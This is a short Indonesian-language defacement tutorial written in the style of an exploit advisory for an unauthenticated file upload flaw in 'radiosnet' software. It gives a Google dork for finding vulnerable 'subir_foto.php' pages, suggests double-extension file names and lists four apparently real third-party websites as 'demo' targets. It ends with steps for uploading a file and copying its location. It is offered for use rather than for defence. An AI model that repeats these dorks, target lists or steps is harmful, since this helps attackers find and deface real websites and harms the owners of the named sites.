Deface Menggunakan Radiosnet Upload Vulnerability

radiosnet Upload Vulnerability

Published	Credit	Risk
2016.10.17	Mr.voltage	Medium

CWE	CVE	Local	Remote
N/A	N/A	No	Yes

Dork: inurl:"subir_foto.php"

##########################
# Exploit Title: radiosnet Upload Vulnerability
# Google Dork : inurl:"subir_foto.php"
# Exploit: site.com/subir_foto.php
# https://www.youtube.com/channel/UCyngNTHNoRLQkWRn3bQjpJQ
# Discovered By: Mr.voltage
# Vendor Homepage : radiosnet.com.ar
# Recomend : .jpg.gif
##########################
# {DEMO}

http://www.clinicasteran.com/upload/subir_foto.php?campo=foto1

http://www.apartments.pe/subir_foto.php

http://www.fsmex.com/subir_foto.php

http://radiodenoticias.com.ar/subir_foto.php

###################################

upload foto apa saja , kalau sudah ke upload Klik Kanan > Copy Images Location > selesai dah

Semoga Bermanfaat